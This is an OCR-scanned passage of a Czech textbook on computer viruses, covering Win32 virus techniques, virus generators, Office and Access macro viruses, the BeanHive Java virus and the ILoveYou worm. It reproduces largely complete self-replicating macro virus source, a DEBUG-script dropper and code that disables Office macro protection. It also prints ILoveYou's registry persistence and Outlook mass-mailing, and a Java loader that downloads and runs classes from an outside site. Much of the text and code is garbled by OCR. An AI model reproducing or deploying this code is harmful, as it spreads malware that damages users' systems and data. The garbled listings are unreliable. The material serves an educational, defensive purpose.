Infikace soubord a dal$i Cinnost viru probihd na bazi voldni VxD,

bud pomoci

int

20h

volani call na prisluSnou adresu nebo standardni cestou

dw service_id
dw vxd_id

Pfesmérovani adres pfislusngch funkci operaéniho systému na télo viru. Pokud program
béhem své &innosti zavola pfislusnou funkci, virus se stane aktivnim. Vghodou je jednodu-
chost, nevghodou je, Ze ukoncenim infikovaného programu ztraci virus moznost kontroly nad
operacnim systémem. Nevyhoda je vyvazena napadenim frekventované volanych systémo-
vich knihoven, zejména KERNEL32.DLL a USER32.DLL. Ukazka z viru Enumero popisu-
je postup hledéani vstupniho bodu do kernelu pro 32bitova Windows.

vstart:
call

geteip:
mov
mov
sub
add
call

geteip Standardni Udvod
; zjisténi adresy viru
ebp,[esp] ;v opaméti
eax,ebp ; maskovany
ebp,offset geteip ; primou manipulaci
esp,4 ; se zasobnikem
set_seh Nas]edovany nastavenim adresy SEH

; tato adresa je primo na zasobniku a od ni se nachdzi i virova obsluha SEH

set_seh:

push dword ptr fs:[0] : Uschova puvodni adresy SEH
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mov fs:[0],esp ; Nastaveni virové adresy SEH
mov edx,[esp+8] ; Identifikace 0S
find_base_Tloop:
cmp dword ptr [edx+0b4h],edx ; Byla-1i nalezena bdze, pak na
Jz good_os ; offsetu 0b4h je vstup do kernelu
dec edx ; Jinak pokracuje
jmp find_base_loop ; hledani vstupu
good_os:
mov [ebptkernelbasel,edx ; UloZeni nalezeného vstupu

Od tohoto momentu mé virus k dispozici tabulku Export Table knihovny kernel32.dll. Ta-
to tabulka je sloZena ze t#i tabulek — z 32bitové tabulky API RVA Table, 32bitové tabulky Na-
me Pointer Table a 16bitové tabulky Ordinal Table VA. Tabulka Name Pointer Table je tvo-
fena polem ASCIZ jmen funkci API, ve které virus hledd v tomto pfipadé funkce
CreateFileA, CloseHandle, WriteFile, GetSystemDirectoryA, DeleteFileA, CreateProcessA,
GetStartuplnfoA, GlobalAlloc a GlobalFree.

Nalezeny index vynasobeny dvéma dava vstup do Ordinal Table VA, odkud hodnota vy-
nasobena ¢tyfmi dava kgzeny index do APl RVA Table.

- Vyuziti registrd Windows (Registry). Zatfazenim virové aplikace pfedevsim do klice

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ziska
virus kontrolu nad pocitatem po jeho kazdém zapnuti.

4.9.3. Pokrocilé techniky vird Windows

Multithreading

Viry pro svoji &innost vyuzivaji vytvofeni nového vlakna (*). To umozni Géinnou ochranu pro-
ti heuristické analyze a emulaci koddu antivirovgmi programy, protoZze hlavni virové télo bézi
jinde nez analyzovany program. Pfikladem jsou 32bitové viry Legacy a Vulcano.

Fibery

Technika podobna vlaknim je podporovana od verzi Windows 98 a NT. Zatimco planovéni
vldken ¥idi operacni systém, fibery si ¥idi samotna aplikace. Fibery se snadnéji ovladaji, pfi-
kladem je virus Milennium infikujici Windows 98.

Inter Process Communication (IPC)

[PC je komunikace mezi nékolika béZicimi procesy. Vgse citovany virus Vulcano umi komu-
nikovat mezi svymi béZicimi instancemi v paméti. Zjisti-li Vulcano, Ze je jiz v paméti pfito-
men, vyuZije tuto instanci pro infikaci jingch programu. V praxi to znamena, Ze infikace se
dé&je v ramci béhu jiného programu, tj. analjza viru ani jeho detekce antivirovgmi programy
nemaji velkou $anci na tuspéch.

(*) Vldgkno, anglicky thread, uvddéji nékteré ceské prameny jako provddéci tok a termin vldkno pak zavddé-
jicim zptsobem jako fiber. Podobné preklady jsou ovsem pochopitelné. Kazda pocitacovd oblast si pojmeno-
vava tutéz zalezitost rizné (co je ,funkce® v jazyce C je v Javé uvddéno jako ,metoda“ apod.). Pripocéte-li se
k tomuto rtznorodost estindru je jasné, pro¢ nezridka neni mozné z textu pochopit, o co vlastné bézi.
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¢ Entry Point Obscuring (EPO)
Velmi G¢innéd technika proti heuristické analyze. Principem je snaha nepfedat fizeni viru
ihned po spusténi infikovaného programu, ale v podstaté kdykoliv, v limitnim pfipadé dokon-
ce az po ukonceni ¢innosti napadeného programu. Pfikladem je opét virus Vulcano.

4.10. Konstrukce generatord vird

Koncepce generatort virt je dvoji — program s uZivatelskgm rozhranim menu nebo zdrojovy
tvar s pfipadnou moznosti vlastnich Uprav. Druhy pfistup dokumentuje vybrany fragment z ge-
neratoru PS-MPC, kter je tvofen formou projektu zdrojovich textli programovaciho jazyka C.

void code_infect_EXE(void)
{
print(”les ax, dword ptr [bptbuffer+l4h]”,”Save old entry point”);
print(”mov word ptr [bp+jmpsave2], ax”,””);
print(”mov word ptr [bp+jmpsave2+2], es”,””);
printblank();
print(”les ax, dword ptr [bp+buffer+0Eh]”,”Save old stack”);
print(”mov word ptr [bp+stacksave2], es”,””);
print(”mov word ptr [bptstacksavez2+2], ax”,””);
printblank();
print(”mov ax, word ptr [bp+buffer + 8]”,”Get header size”);
print(”mov cl, 4”,”convert to bytes”);
print(”shl ax, c1”,””);
print(”xchg ax, bx”,””);
printblank();
print(”les ax, [bp+offset newDTA+26]1”,”Get file size”);
print(”mov dx, es”,”to DX:AX");
print(”push ax”,””);
print(”push dx”,””);
printblank();
print(”sub ax, bx”,”Subtract header size from”);
print(”sbb dx, 07,”file size”);
printblank();
print(”mov cx, 10h”,”Convert to segment:offset”);
print(”div cx”,”form”);
prin tbhlank();
print(”mov word ptr [bptbuffer+l14h], dx”,”New entry point”);
print(”mov word ptr [bpt+buffer+l6hl], ax”,””);
printblank();
print(”mov word ptr [bpt+buffer+O0Eh], ax”,”and stack”);
print(”mov word ptr [bpt+buffer+l10h], id”,””);
printblank();
print(”pop dx”,”get file length”);
print(”pop ax”,””);
printblank();
if (config.p.encrypt)
print(”add ax, heap-decrypt”,”add virus size”);
else
print(”add ax, heap-startvirus”,”add virus size”);
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print(”adc dx, 07,””);
printblank();
print(”mov cl, 97,7”);
print(”push ax”,””);
print(”shr ax, cl1”,7”);
print(”ror dx, cl1”7,7”);
print(”stc”,””);
print(”adc dx, ax”,””);
print(”pop ax”,””);
print(”and ah, 17,”mod 5127);
printblank();
print(”mov word ptr [bptbuffer+4], dx”,”new file size”);
print(”mov word ptr [bp+buffer+2], ax”,””);
printblank();
print(”push cs”,”restore ES”);
print(”pop es”,””);
printblank();
if (config.p.encrypt)

print(”push word ptr [bp+buffer+l4h]”,”needed Tater”)
print(”mov cx, lah”,””);

}

Uvedeny fragment ptedstavuje infikacni proces souboru *.EXE. Je vidét, Ze principem je pri-
mitivni ,sazba®“ instrukci totozna s virem DemoEXE uvedenym v kapitole vénované konstrukci
EXE-viru. Funkce print provadi vlastni zapis instrukci do souboru.

Dalsi moZnosti generator(, jejichZ zdrojovy kod je dan uZivateli volné k dispozici, je ptimé
skladani prislusngch modulli. P¥ikladem je aktiva¢ni rutina Instant Virus Production Kitu pro si-
mulaci kulometné strelby. Jednotlivé rutiny jsou tvofeny separatnimi soubory *.RTN. Ukéazka
demonstruje praci s porty reproduktoru, kterou viry rovnéz hojné vyuzivaji.

Vstupni parametr CX = pocet ran

phasor:

push cx ; Gschova pocCtu ran

cli ; zdkaz preruseni

mov dx, 12000 ; kadence jednotlivych

sub dx, c¢s:5000 ; ran

mov bx, 100 ; konstanta zvuku

mov al, 10110110b ; ridici slovo portu - bindrni ¢itac

; C.2 / generadtor pulsu

out 43h, al ; vlastni nastaveni
back:

mov ax, bx

out 42h, al ; generovani

mov al, ah ; zvuku

out 42h, al

in al, 6lh ; zjisténi stavu

mov ah, O ; PPI (portu B - kam jediné 1ze i zapiso-
vat)

or ax, 00000011b ; a zapnuti vystupu na reproduktor

out 61h, al ; s povolenim ridiciho hradla Casovace
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inc bx inkrementace konstanty zvuku
mov c¢x, 15 zpoZdovaci
delay: smycka
loop delay
dec dx test kadence
cmp dx, 0 strely -
jnz back uz doznéla?
in al, 61h ; zjisténi stavu PPI (port B)
and al, 11111100b ; a vypnuti reproduktoru i hradla
out 61h, al ; Casovace
sti povoleni preruseni
pop cx obnova poctu ran

loop phasor

uz se vystrilely vSechny rany?

4.11. Konstrukce makroviru

Konstrukce makrovirti zavisi na platformé programu, v jehoZz ramci makrovirus parazituje. Nej-
vice rozsitené jsou makroviry Microsoft Wordu (déle jen Wordu) zalozené na programovacim ja-
zyce WordBasic a Visual Basic Script. Vsechny ptikazy jsou dobfe popsany jiz v ramci napové-
dy (helpu) Wordu, coz tvircm virt jejich Glohu velice usnadriuje.

4.11.1. Pouziti WordBasicu

Praktickd ukéazka je vybréana z makroviru Word-Nuclear. Konstrukci charakterizuje aktivacni
makrorutina InsertPayload, kterd vklada na konec tisténého dokumentu dovétek o zastaveni
nuklearnich test v Pacifiku.

Sub MAIN
If Second(Now()) > 55 Then ‘aktivace pouze v Case sekund > 55
EndOfDocument ‘posun kurzoru na konec dokumentu
Insert Chr$(11) ‘odradkovani
Insert ”"And finally I would Tike to say:”
Insert Chr$(11) ‘odradkovani
Insert ”STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC!”
StartOfDocument ‘posun kurzoru na pocCatek dokumentu
End If
End Sub

Zajimavé je stealth maskovaci makro FileExit, které vypina dotaz pro potvrzeni ulozeni zmén
Sablony NORMAL.DOT.

Sub MAIN
ToolsOptionsSave
FileExit

.GlobalDotPrompt = 0 ‘automatické uloZeni zmén
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End Sub

Nejzajimavéjsi je ¢ast makra DropSuriv, kterd vypousti virus Ph33r. Makro testuje existenci
programu DEBUG.EXE, prostfednictvim néhoz aktivuje vytvofeny virovy skript. Debug je pak
spustén z pomocné davky EXEC_PH.

On Error Goto NoDropper ‘nastaveni chybové obsluhy

Open ”C:\DOS\DEBUG.EXE” For Input As #1 ‘test existence DEBUGu
Close #1 ‘Uzaviteni
Open ”C:\DOS\PH33R.SCR” For Output As f#1 ‘skript viru Ph33r

Print #1, ”N PH33R.COM”
Print #1, ”E 0100 E8 47 00 06 1F BF 00 01 57 B8 CD 20 AB B8 00 00~

Print ##1, ”E 0820 00 00 00 00 00 00 00 00 00 00O 0O 00O 00 00 00 00~
Print #1, ”E 0830 00 00 00 00~
Print #1, ”RCX”

Print #1, ~0734” ‘velikost viru

Print #1, "W~ ‘zapis do souboru

Print #1, ”G” ‘spusténi viru

Print #1, »Q” ‘ukonceni DEBUGu

Print #1, >~

Close #1

Open ”C:\DOS\EXEC_PH.BAT” For Output As #1 ‘vytvorfeni spouStéci davky
Print #1, “@echo off” ‘vypnuti echa prikazu
Print #1, “debug <C:\DOS\PH33R.SCR >nul” ‘spusténi DEBUGu

Close #1

ChDir ”C:\D0OS” ‘nastaveni pracovniho adresare
Shell ”EXEC_PH.BAT”, 0 ‘start spousStéci davky
Kill ”C:\DOS\EXEC_PH.BAT” ‘zruseni

KiTll ”C:\DOS\PH33R.SCR” ‘prechodnych souboru
NoDropper: ‘konec makra

‘toto ndvésti se uplatni i prostrednictvim chybové obsluhy neexistuje-1i DEBUG

V ukézce je vidét pfimé volani shellu. Nékteré makroviry realizuji toto volani prostfednictvim
deklarace API, které na rozdil od p¥imého volani dava moznost testovat navratovou hodnotu
a je obtiznéji detekovatelné.

‘Deklarace pro Word 6:
Declare Function WinExec Lib ”Kernel”(lplLine As String, nShow As
Integer) As Integer

‘Deklarace pro Word 7:
Declare Function Winkxec Lib ”Kernel32”(1pLine As String, nShow As
Integer) As Integer

WinExec(”run_scr.bat”, 0) ‘namisto volani Shell ”run_scr.bat”, 0
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Pro vlastni replikaci makrovirus vyuziva vytvotené makro FileSaveAs, kdy ptikazem Ma-
croCopy zkopiruje do infikovaného dokumentu viechny své dil¢i komponenty. Verze z ma-
kroviru Word-Atom obsahuje i jeden z piikladt destruktivni ¢innosti makrovira — zaheslovani
dokumentu.

Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg

Dialog dlg

If (Dlg.Format = 0) Or (Dlg.Format = 1) Then ‘soubor *.doc or *.dot?
MacroCopy “FileSaveAs”, WindowName$() + ”:FileSaveAs”, 1 ‘zkopirovani
MacroCopy “AutoOpen”, WindowName$() + ”:AutoOpen”, 1 ‘vSech
MacroCopy “FileOpen”, WindowName$() + ”:FileOpen”, 1 ‘virovych
MacroCopy “Atom”, WindowName$() + ”:Atom”, 1 ‘maker
Dlg.Format =1

End If

If (Second(Now()) = 13) Then ‘je-1i hodnota sekund aktualniho Casu
Dlg.Password = “ATOM#L1” ‘rovna 13, pak je dokument zaheslovdn

End If

FileSaveAs dlg

End Sub

Rada makrovirti u volani MacroCopy pouziva treti parametr rtizng od nuly (nejéastsji 1 jako
v tomto piipadé). Tim makrovirus zajistuje, Ze makro lze jen spustit, nikoliv vak editovat.

Princip replikace je patrny i z primitivniho makroviru Minsize, realizovaného jako samostat-
né makro AutoOpen, tj. makro spousténé v okamziku otevfeni existujiciho dokumentu. Je-li
otevirana Sablona NORMAL.DOT, je timto makrem infikovana, v opaéném pfipadé je infiko-
van otevirany dokument.

Sub MAIN
On Error Goto MinSize

F$ = FileName$() + ”:AutoOpen”
G$ = ”Global:AutoOpen”
M$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))

If M$ = ”NORMAL.DOT” Then
MacroCopy G$, F$

FileSaveAs .Format =1 ‘zapnuti rychlého ukladani
Else
MacroCopy F$, G$
EndIf
MinSize:
End Sub

4.11.2. Pouziti VBA

Princip replikace za pomoci VBA vystihuje primitivni makrovirus Word 97-Tiny sestavajici z je-
diného makra aktivovaného v okamziku uzavfeni dokumentu.
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Attribute VB_Name = ”"a”

Sub AutoClose()

b ="a”
Application.VBE.ActiveVBProject.VBComponents(”a”).Export (b)
NormalTemplate.VBProject.VBComponents.Import b
ActiveDocument.VBProject.VBComponents.Import b
ActiveDocument.SaveAs FileFormat:=1

End Sub

Pokrocilé techniky demonstruji ukazky z class-modulového makroviru Word/Excel 97-Shi-
ver, vyuZivajictho komunikaci DDE (Dynamic Data Exchange).

Vypnuti viech antivirovych ochran Wordu a Excelu. Word mé k dispozici pfima volani API,
vypnuti pro Excel je komplikovangj$i, makrovirus musi pfistupovat pfimo na konkrétni kli¢

v Registry.
Dim Setl As Long
Setl = &HO
dbfions.VirusProtection = False
System.ProfileString(”0ptions”, ”“EnableMacroVirusProtection”) = 0"
System.PrivateProfileString(””, ”HKEY_CURRENT_USER\Software\Microsoft\

0ffice\8.0\Excel\Microsoft Excel”, ”Options6”) = Setl
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False

Demonstrace zékladniho stealth mechanismu pro Excel, makrovirus skrgva nékteré toolbary.

CommandBars(”Window”).Controls(”Unhide...”).Enabled = False
CommandBars(”Tools”).Controls(”Macro”).Enabled = False

Zajimava je stealth rutina zamétena proti heuristické analyze, vyprazdhuijici citliva makra Sa-
blony NORMAL.DOT wvytvotenim jejich vlastni podoby.

Sub WordStealth()
Yin = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
I[f Yin < 4 Then
NormalTemplate.VBProject.VBComponents.Item(1l).CodeModule.AddFromString
”Sub ToolsMacro()” & vbCr & ”End Sub” & vbCr & ”Sub FileTemplates()”

& vbCr & ”End Sub” & vbCr & ”Sub ViewVBCode()” & vbCr

& ”End Sub”
End If
End Sub

Test, zda je jiz makrovirus pfitomen v $abloné NORMAL.DOT a v aktivnim dokumentu.
Attribute VB_Name = ”"Modulel”

Al
NI

True ‘priznak pritomnosti v aktivnim dokumentu
True ‘priznak pritomnosti v Sabloné& NORMAL.DOT
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I[f NormalTemplate.VBProject.VBComponents.Item(”Modulel”).Name <>
"Modulel” Then NI = False

If ActiveDocument.VBProject.VBComponents.Item(”Modulel”).Name <>
"Modulel” Then AI = False

Bézi-li Shiver jako makro Wordu a zjisti pfitomnost spusténého Excelu, stejné tak bézi-li ja-
ko makro Excelu a zjisti pfitomnost spusténého Wordu, pak pomoci DDE vytvoii s touto apli-
kaci kanal, prostfednictvim kterého provede napadeni této aplikace. V ptipadé Excelu se ma-
krovirus uklada do souboru XLStart\PERSONAL.XLS.

Princip mechanismu DDE zjednodusené charakterizuje nasledujici demonstraéni wordové
makro.

Sub DDEtest()

channel = DDEInitiate(”Excel”, ”Sheetl”) ‘spojeni na bézny excelovsky
‘sheet

DDEPoke channel, ”RIC1”, 73~ ‘vlioZeni 3 do Al

DDEPoke channel, ”R2C1”, ”5” ‘vioZeni 5 do A2

a$ = ”"=SUM(Al:A2)” ‘vytvoreni vzorce pro soucCet
‘AL+A2

DDEPoke channel, ”R1C2”, a$ ‘vlioZeni vzorce do Bl

a$ = DDERequest(channel, ”R1C2”) ‘naCteni hodnoty z bunky Bl

DDETerminate channel ‘zruSeni komunikacniho kanalu

MsgBox 7”3 + 5 = " + a$ ‘soucet je skutecné 8

End Sub

Ale zpét k makroviru Shiver. Posledni klicovou otézkou je inkriminované zjisténi, zda je druha
aplikace spusténa.

hWnd = FindApp(”XLMain”) ‘bézi Excel?
If hWnd <> 0 Then ExcelFound = True

hWnd = FindApp("OpusApp™) ‘b&77 Word?
If hWind <> 0 Then WordFound = True

XLMain a OpusApp jsou jména WindowHandlt Excelu a Wordu. FindApp vraci nulu v pfi-
padeg, Ze pfislusna aplikace neni spusténa.

Prezentace PowerPointu jsou napadany obdobnym zplisobem, makroviry vytvaii odkaz na
prisludné objekty. Ukazka je z makroviru Triplicate.

Set PPObj = CreateObject(”PowerPoint.Application™)

Set PBT = PPObj.Presentations.Open(Application.Path +
"\..\Templates\Blank Presentation.pot”, , , msoFalse)

For Each ModComponent In PBT.VBProject.VBComponents

Pfipadné zaheslovani dokumentl je realizovano podobné jako u WordBasicu. Makrovirus
Word 97-NightShade hesluje svym nazvem.
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If WeekDay(Now()) = 6 And Day(Now()) = 13 Then ‘
If ActiveDocument.HasPassword = False Then ¢
ActiveDocument.Password = ”"NightShade” °
End If
End If

Podstata, prevence, ochrana

patek trindctého?

pokud neni dokument
zaheslovan, provede
se jeho zaheslovani

Ani Access nebyl od makrovirti uetfen. Nasleduje kompletni vpis jednoduchého makroviru

Accessiv.

Attribute VB_Name = ”Virus”
Dim filename As String
Option Compare Database
Option Explicit

Public Sub findfirst()

filename = Dir(”*.mdb”, vbNormal) ‘Find MS Database File!

End Sub

Public Sub infect()
On Error GoTo ohcrap
DoCmd.TransferDatabase acExport, "Microsoft Access”,

acMacro, “Autoexec”, "Autoexec”
DoCmd.TransferDatabase acExport, ”Microsoft Access”,
acModule, ”Virus”, ”Virus”
ohcrap:
End Sub

Public Function AccessiV()
Call findfirst

Call infect

While filename <> ~

Call findnext

Call infect

Wend

End Function

Public Sub findnext()

filename = Dir ‘Find another
End Sub

4.11.3. Pokrocilé techniky makrovird

filename,

filename,

MS Database File!

Podobné jako klasické souborové viry, tak i makroviry se snazi znesnadnit svoji detekci antivi-

rovymi programy. Kromé v{se uvedenych zékladnich maskovacich
klicové volby aplikace, nastupuji polymorfni a kbdovaci metody.

mechanismt, vypinajicich

Polymorfni mechanismy vyuZzivaji pfedevsim vkladani nahodngch fetézcti a ¢isel ve formeé po-
znamek, zmény naveésti, rizné formy téhoz vrazu, nahrazeni jmen za pouziti funkci find/repla-

ce apod.
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Naprosto primitivné provadi polymorfni mechanismus makrovirus Word 97-Poppy. Nad mo-
difikovangm modulem Poppy nahrazuje originalni nevgznamné sudé ¥adky (v originalnim textu
prazdné) pro kazdého uzivatele jedine¢nou poznamkou tvofenou uZivatelskym jménem, aktivni
tiskarnou a aktivnim oknem. Cislo 72 je dano poctem Fadkt kodu makroviru.

For x = 2 To 72 Step 2
Use Word Object Data As Polymorpic Code On Every Other Line

.replaceline x, ”°” & Application.UserName & Now &
Application.ActivePrinter & Application.ActiveWindow

Next x

Koédovani ma za ukol zneditelnit télo makra. Kédovani miize byt i naprosto primitivni, staci
prosty posun ASCII kédu o jednicku.

FileSaveAs .Format = 1 --pricteni_konstanty 1--> GjmfTbwfBt /Gpsnbu > 2

Ptekvapivou je metoda skryti textovch fetézci do podoby konkatenace znaki. Oba nasle-
dujici fadky jsou ekvivalentni, v druhém p¥ipadé skener, vyhledavajici identifikacni fetézec, ne-
ma Sanci.

MsgBox "Virus !!”

MsgBox Chr(86) + Chr(105) + Chr(114) + Chr(117) + Chr(115) + Chr(32)
+ Chr(33) + Chr(33)

Stézejnim zplsobem pro viechny modifikace kodu je vyuziti piikazu ToolsMacro .Edit, po-
moci kterého muze makro modifikovat makro jiné.

ToolsMacro .Name = “FileSaveAs”, .Edit, .Show = 0 ‘editovédno je makro
‘FileSaveAs

...polymorfni/kdédovaci manipulace...

DocClose 1 ‘uzavreni makra s uloZenim zmén

Kromé zfejmych jazykovych problémii (napt. FileSaveAs je ve $panélské verzi ArchivoGu-
ardarComo) se potykaji makroviry i s problémy systémovymi, napt. patch Windows SR-1 zne-
funkénuje funkce WordBasic.MacroCopy a Application.OrganizerCopy a makroviry se proto
vét§inou témto volanim vyhgbaji. Na druhou stranu v nékterich situacich makroviry vyuZi-
vaji bezpecnostni diry pfislusngch aplikaci, kdy jsou timto zptisobem schopny ziskat plnou kon-
trolu nad napadenym pocitatem. P¥ikladem aktualni bezpecnostni diry je dira Wordu a Acces-
su 2000 umoziujici spusténi libovolného programu pfi otevieni wordového dokumentu.
Principem je, ze Word je schopen akceptovat databazi Accessu jako datovy zdroj pro Mail Mer-
ge. Obsahuje-li databaze za3kodnicky VBA skript na formuléfi Form1, jenZ je automaticky spus-
tén po startu databéaze, muize tento skript spustit libovolng program. Podminkou funkénosti te-
to diry je povoleni sdileni soubortl, kterézto vsak vétsina firewalltl neumoziuje.
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4.12. Konstrukce javového viru

Vyskyt javovgch virt je sporadicky. Pfenos zavirovanych t¥id mezi pocitadi je pouze hypotetic-

kY, aplikace jsou ve vétsiné pfipadl tvofeny instalanim programem — prosté pfekopirovani ne-

stadi. K &ifeni pomoci webovych stranek je nutné, aby uzivatel prohlésil stranku resp. applet za

divéryhodny. To vse silné omezuje tvarce javovych virli. Presto jiz druhg vytvoteny javovy vi-
rus BeanHive je svoji konstrukci pozoruhodng. Soubory *.class jsou infikovany pouze zékladni
Casti viru, kterd v okamziku své aktivace stahuje vie ostatni pfimo z Internetu. To umozZiuje mé-
nit okamZitou ¢innost viru dle libosti tvtrci.

Startovaci ¢ast viru.

/* HelloWorld.java */

import java.io.InputStream;
import java.io.PrintStream;
import java.net.URL;

import java.net.URLConnection;

public class HelloWorld extends ClassLoader // podtrfida zavadéce

{

javovych trid
// hlavni program, nic zajimavého
public static void main(String argsl[])
{

}

System.out.printin(”Hello World”);

// trida umozfiujici naCist z Internetu predevsim hlavni télo viru

pubTic synchronized Class ToadClass(String s, boolean flag)
throws ClassNotFoundException

{

byte abyteO[] = null;

try // je tifida Jiz k dispozici?

{
Class classl = super.findSystemClass(s);
return classl;

}

catch(ClassNotFoundException _ex) {}

// trida neni k dispozici, ndsleduje jeji naCteni z webové
stranky autordl
try // nacCteni souboru pomoci streamu na vytvorfené URL spojeni
{
URL url = new URL(”http://www.codebreakers.org/”
+ s + ”.class”);
URLConnection urlconnection = url.openConnection();
InputStream inputstream = urlconnection.getInputStream();
int i = urlconnection.getContentlLength();
abyte0 = new bytel[i];
inputstream.read(abyte0);

Podstata, prevence, ochrana
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inputstream.close();
}
catch(Exception _ex) {}
if(abyte0 == null) // podarilo se naCteni?
throw new ClassNotFoundException(); // vyhozeni vyjimky
// definice tridy s testem na pravost javového formdtu
Class class2 = defineClass(s, abyteO, 0, abyteO.length);
if(classZ2 == null)
throw new ClassFormatError();
if(flag)
resolveClass(class?);
if(s = ”BeanHive”) // vSe je 0.K. a bylo nacCteno hlavni virové télo
try // vytvoreni instance nactené tridy a jeji spuSténi
{
Runnable runnable = (Runnable)class2.newlnstance();
runnable.run();
}
catch(Exception _ex) {}
return class2; // vraceni naltené tridy

// konstruktor; spouSti vySe komentovany mechanismus pro tridu BeanHive
public HelloWorld()

{

}

loadClass(”BeanHive”); // zplsobi nahrdni BeanHive.class z Internetu
return;

Vykonna &ast viru.

/* BeanHive.java */
/* trida mé& néasledujici strukturu:

BeanHive.class

+---

vyhledavédni soubord v adresdrovém stromé

e89a763c.class : parser souborového formatu
+--- a98b34f2.class : funkce souborového pristupu
+--- be93a29f.class : priprava souboru pro infikaci (1.&ast)
+--- ¢c8f67b45.class : priprava souboru pro infikaci (2.&ast)
+--- dc98e742.class : vlozeni virového téla do infikovaného souboru

VSechny tyto tridy jsou pres loadClass nataZeny v pripadé potfeby rovnéz
z Internetu. Uvddét zdrojové tvary pomocnych trid je naprosto zbytelné,
pokaZzdé mohou byt jiné.

*/

import java.io.File;
import java.io.IOException;

public class BeanHive // hlavni Cast viru

{

// hlavni program, vytvoreni instance - vyvold se konstruktor, kte-

ry

// spusti proces infikace Jjavovych soubor( v pracovnim adresari
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// a vSech podadresdarich

public static void main(String args[]) throws IOException
{

}

new BeanHive();

// konstruktor, spouStéjici proces infikace
public BeanHive() throws IOException
{

}

run();

// proces infikace
public void run() throws IOException
{
start(new File(System.getProperty(”user.dir”))); // pracovni adresar
}
// vlastni infikacni metoda, mechanismus je snadno ¢itelny
public void start(File file) throws IOException
{
e89a763c eB89a763cl = new e89a763c();
String as[] = file.list();
for(int i = 0; as != null && i < as.length && inf < 3; i++)
{
File filel = new File(file, as[i]);
if(filel.isFile() && as[il.endsWith(”.class”)
&& filel.length() < 65535L && filel.canRead()
&& filel.canWrite())

if(e89a763cl.poke(filel))
inf++;
}
else
if(filel.isDirectory() && filel.canRead())
start(filel);
}
}
private int inf;

4.13. Konstrukce skriptovaciho cerva

Pro jakkoliv koncipovaného Cerva jsou nejdulezitéjsi dvé otazky — jakgm zplisobem se uhnizdit
v hostitelském systému a jakym zplisobem replikovat své télo. V prostredi Windows odpovéd-
mi na tyto otazky jsou klice registrti ...\Run resp. ...\RunServices a nejcastéji postovni klient Mi-
crosoft Outlook. Ukézka &erva ILoveYou vyuzivajictho VBS popisuje oba tyto mechanismy.
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Trvalé uhnizdéni ¢erva v hostitelském systému.

rem k Cinnosti Cerv vyZaduje, aby byl nainstalovdn Windows Script Hosting
dim fso,dirsystem,dirwin
Set fso = CreateObject(”Scripting.FileSystemObject”)

Féh zjisSténi systémovych adresard Windows
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)

rem zkopirovani celého Cerva do souborl vbs
Set ¢ = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&”\MSKernel32.vbs”)
c.Copy(dirwin&”\Win32DLL.vbs™)

rem vytvoreni kl1ic¢t v registrech Windows zajisti aktivaci cerva

rem s kaZzdym startem operacniho systému

regcreate “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\MSKernel32”,dirsystem&”\MSKernel32.vbs”

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\RunServices\Win32DLL”,dirwin&”\Win32DLL.vbs”

Podprogram provadéjici zapis do Registry.

sub regcreate(regkey,regvalue)
Set regedit = CreateObject(”WScript.Shell”)
regedit.RegWrite regkey,regvalue

end sub

Replikaéni rutina hleda Outlook a bere adresy z adreséfe, na které za uZivatelovymi zady
rozesila své télo.

dim x,a,ctrlists,ctrentries,malead
set out=WScript.CreateObject(”0Outlook.Application™)
set mapi=out.GetNameSpace(”MAPI”)
for ctrlists=1 to mapi.AddresslLists.Count
set a=mapi.AddresslLists(ctrlists)
x=1

%5% ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)

set male=out.Createltem(0)

male.Recipients.Add(malead)

male.Subject = “ILOVEYOU”

male.Body = vbcrlf&”kindly check the attached LOVELETTER
coming from me.”

male.Attachments.Add(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)

male.Send

x=x+1
next

next



Moderni pocitacové viry Podstata, prevence, ochrana

Z ukazky je ziejmé, Ze univerzélnost Cerva je silné omezena. ILoveYou postou ptijde na kte-
rgkoliv systém, le¢ nemé $anci prezit tam, kde neni Windows a nemé $anci na replikaci tam,
kde neni Microsoft Outlook (Express verze nestaci).

Kromé modifikace registril vyuZivaji Cervi pro zajisténi své aktivace modifikaci soubort
WINL.INI (zejména fadek RUN=v sekci [WINDOWS)) a SYSTEM.INI (fddek SHELL= v sekci
[BOOT).

Rozdily mezi skriptovacimi viry, makroviry a ¢ervy na bazi Visual Basicu jsou miniméalni. Cerv
na rozdil od viru nevyZaduje hostitele, ostatni naleZitosti jsou stejné a to véetné vyuZiti pos-
tovniho klienta pro replikaci. Rozmanitost ¢innosti dokumentuje napf. skriptovaci virus Reality,
infikujici webové stranky HTM, HTML a ASP, kter( zaroven vypousti virovy debugovy skript
Microbuz.

5. Obranné virové mechanismy

Soucasti virového kédu jsou neziidka i mechanismy obran viru proti jeho analyze. Tyto mecha-
nismy jsou v zasadé dvojitho druhu: pasivni a aktivni. V pfipadé aktivnich obran hrozi pfi ana-
Iyze viru debuggerem i ztrata diskovych dat!

5.1. Pasivni obrana

Pasivni obrana je snaha znesnadnit ¢i zabranit statickou analyzu virového téla. Typickym p¥ikla-
dem jsou polymorfni & semi-polymorfni viry. Pro staticky disassembler je ¢itelnd pouze Gvodni
dekoédovaci smycka viru. Zbytek téla viru je zakddovan a jeho pripadng preloZeny tvar je pou-
ze nesmysIng binarni ,,$rot“. Pro ziskani odpovidajiciho zpétného tvaru je potfeba pouzit debug-
ger, odkrokovat tvodni dekédovaci smycku a znovu ulozit télo viru do diskového souboru. Te-
prve pak lze pouzit staticky disassembler. I zde je potfeba mit na paméti, Ze pti odkrokovani
Gvodni smycky nelze jednoduse nastavit breakpoint za smycku, nebot télo viru je smyckou mo-
difikovano a breakpoint by byl pfemazan. To lze provést az po prvnim prachodu smyckou, kdy
je prvni baijt jiz dekédovan. Dalsimi moZnostmi obran jsou ,puzzle® skladani kédu, kdy sled in-
strukci vznika aZ pfi béhu viru, ¢ maskované skoky ,,doprostfed” instrukce apod. Tyto moZnos-
